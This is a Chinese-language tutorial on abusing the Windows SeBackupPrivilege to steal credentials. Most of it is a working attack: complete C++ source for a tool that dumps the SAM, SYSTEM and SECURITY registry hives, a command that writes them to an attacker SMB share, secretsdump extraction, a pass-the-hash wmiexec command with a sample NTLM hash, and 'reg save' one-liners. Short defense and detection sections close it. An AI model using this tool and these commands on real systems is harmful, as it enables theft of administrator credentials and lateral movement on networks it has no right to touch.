Token Privileges Abusing - SeBackupPrivilege
字数 1047 2025-08-06 12:21:08
SeBackupPrivilege 特权滥用技术详解
1. SeBackupPrivilege 特权概述
SeBackupPrivilege(备份文件和目录特权)是Windows操作系统中的一个重要特权,在Microsoft官方文档中被描述为"Back up files and directories"。该特权具有以下关键特性:
- 授予进程对任何文件或对象的所有读取访问控制权限
- 绕过常规的ACL检查,无论文件或对象上设置的访问控制列表如何
- 仅适用于读取操作,其他类型的访问请求仍会受ACL限制
2. 特权滥用原理
拥有SeBackupPrivilege特权的进程可以:
- 读取系统关键文件(如SAM数据库)
- 导出敏感注册表项(如HKLM\SAM、HKLM\SYSTEM、HKLM\SECURITY)
- 通过这些数据获取系统管理员凭证(NTLM哈希)
3. 技术实现细节
3.1 启用SeBackupPrivilege
启用特权需要以下步骤:
BOOL EnableTokenPrivilege(HANDLE hToken, LPCWSTR lpName) {
BOOL status = FALSE;
LUID luidValue = {0};
TOKEN_PRIVILEGES tokenPrivileges;
// 获取特权的LUID值
if (!LookupPrivilegeValueW(NULL, lpName, &luidValue)) {
wprintf(L"[-] LookupPrivilegeValue Error: [%u].\n", GetLastError());
return status;
}
// 设置特权提升信息
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 调整进程令牌权限
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(tokenPrivileges), NULL, NULL)) {
wprintf(L"[-] AdjustTokenPrivileges Error: [%u].\n", GetLastError());
return status;
} else {
status = TRUE;
}
return status;
}
3.2 导出注册表项
使用RegSaveKeyW()函数导出关键注册表项:
BOOL ExploitSeBackupPrivilege(LPCWSTR savePath) {
BOOL status = FALSE;
DWORD lResult;
HKEY hKey;
LPCWSTR subKeys[] = {L"SAM", L"SYSTEM", L"SECURITY"};
for (int i = 0; i < 3; i++) {
// 打开指定的注册表项
lResult = RegOpenKeyExW(HKEY_LOCAL_MACHINE, subKeys[i], REG_OPTION_BACKUP_RESTORE, KEY_READ, &hKey);
if (lResult != ERROR_SUCCESS) {
wprintf(L"[-] RegOpenKeyExW Error: [%u].\n", lResult);
return status;
}
// 保存注册表项及其子项和值到新文件
lResult = RegSaveKeyW(hKey, std::wstring(savePath).append(L"\\").append(subKeys[i]).c_str(), NULL);
if (lResult != ERROR_SUCCESS) {
wprintf(L"[-] RegSaveKeyW Error: [%u].\n", lResult);
return status;
}
wprintf(L"[*] Dump %s hive successfully.\n", subKeys[i]);
status = TRUE;
}
return status;
}
4. 实际利用步骤
4.1 编译并上传工具
- 编译提供的C++代码生成SeBackupPrivilege.exe
- 将可执行文件上传到目标系统
4.2 执行注册表导出
SeBackupPrivilege.exe -o \\172.26.10.128\evilsmb
-o参数指定保存路径,可以是本地路径或UNC路径(用于绕过本地写入权限限制)
4.3 解析SAM数据库
使用impacket工具包中的secretsdump.py解析导出的注册表文件:
python3 secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
4.4 哈希传递攻击
使用获取的管理员哈希进行横向移动:
python3 wmiexec.py ./Administrator@172.26.10.21 -hashes :cb136a448767792bae25563a498a86e6
5. 替代方法
Windows自带的reg命令会自动启用SeBackupPrivilege特权,可直接使用:
reg save HKLM\SAM C:\Users\Public\SAM
reg save HKLM\SYSTEM C:\Users\Public\SYSTEM
6. 防御措施
- 最小权限原则:仅向必要用户/服务授予SeBackupPrivilege特权
- 特权账户监控:监控具有备份特权的账户活动
- 日志审计:启用对注册表关键项的访问审计
- LSA保护:启用LSA保护防止凭据转储
- 限制远程SAM访问:通过组策略限制远程SAM访问
7. 检测方法
- 监控对以下注册表项的异常访问:
- HKLM\SAM
- HKLM\SYSTEM
- HKLM\SECURITY
- 检测异常使用RegSaveKey/RegSaveKeyEx API的进程
- 监控非备份软件使用备份特权的情况
8. 完整利用代码
#include <Windows.h>
#include <iostream>
#include <stdio.h>
BOOL ExploitSeBackupPrivilege(LPCWSTR savePath) {
BOOL status = FALSE;
DWORD lResult;
HKEY hKey;
LPCWSTR subKeys[] = {L"SAM", L"SYSTEM", L"SECURITY"};
for (int i = 0; i < 3; i++) {
lResult = RegOpenKeyExW(HKEY_LOCAL_MACHINE, subKeys[i], REG_OPTION_BACKUP_RESTORE, KEY_READ, &hKey);
if (lResult != ERROR_SUCCESS) {
wprintf(L"[-] RegOpenKeyExW Error: [%u].\n", lResult);
return status;
}
lResult = RegSaveKeyW(hKey, std::wstring(savePath).append(L"\\").append(subKeys[i]).c_str(), NULL);
if (lResult != ERROR_SUCCESS) {
wprintf(L"[-] RegSaveKeyW Error: [%u].\n", lResult);
return status;
}
wprintf(L"[*] Dump %s hive successfully.\n", subKeys[i]);
status = TRUE;
}
return status;
}
BOOL EnableTokenPrivilege(HANDLE hToken, LPCWSTR lpName) {
BOOL status = FALSE;
LUID luidValue = {0};
TOKEN_PRIVILEGES tokenPrivileges;
if (!LookupPrivilegeValueW(NULL, lpName, &luidValue)) {
wprintf(L"[-] LookupPrivilegeValue Error: [%u].\n", GetLastError());
return status;
}
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(tokenPrivileges), NULL, NULL)) {
wprintf(L"[-] AdjustTokenPrivileges Error: [%u].\n", GetLastError());
return status;
} else {
status = TRUE;
}
return status;
}
void PrintUsage() {
wprintf(
L"Abuse of SeBackupPrivilege by @WHOAMI (whoamianony.top)\n\n"
L"Arguments:\n"
L" -h Show this help message and exit\n"
L" -o <PATH> Where to store the sam/system/security files (can be UNC path)\n"
);
}
int wmain(int argc, wchar_t* argv[]) {
HANDLE hToken = NULL;
LPCWSTR savePath = L"C:\\Users\\Public";
while ((argc > 1) && (argv[1][0] == '-')) {
switch (argv[1][1]) {
case 'h':
PrintUsage();
return 0;
case 'o':
++argv;
--argc;
if (argc > 1 && argv[1][0] != '-') {
savePath = (LPCWSTR)argv[1];
}
break;
default:
wprintf(L"[-] Invalid Argument: %s.\n", argv[1]);
PrintUsage();
return 0;
}
++argv;
--argc;
}
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
wprintf(L"[-] OpenProcessToken Error: [%u].\n", GetLastError());
return 0;
}
if (EnableTokenPrivilege(hToken, SE_BACKUP_NAME)) {
if (ExploitSeBackupPrivilege(savePath)) {
return 1;
}
}
}
通过以上技术细节,安全研究人员可以更好地理解SeBackupPrivilege特权的潜在风险,并采取相应措施保护系统安全。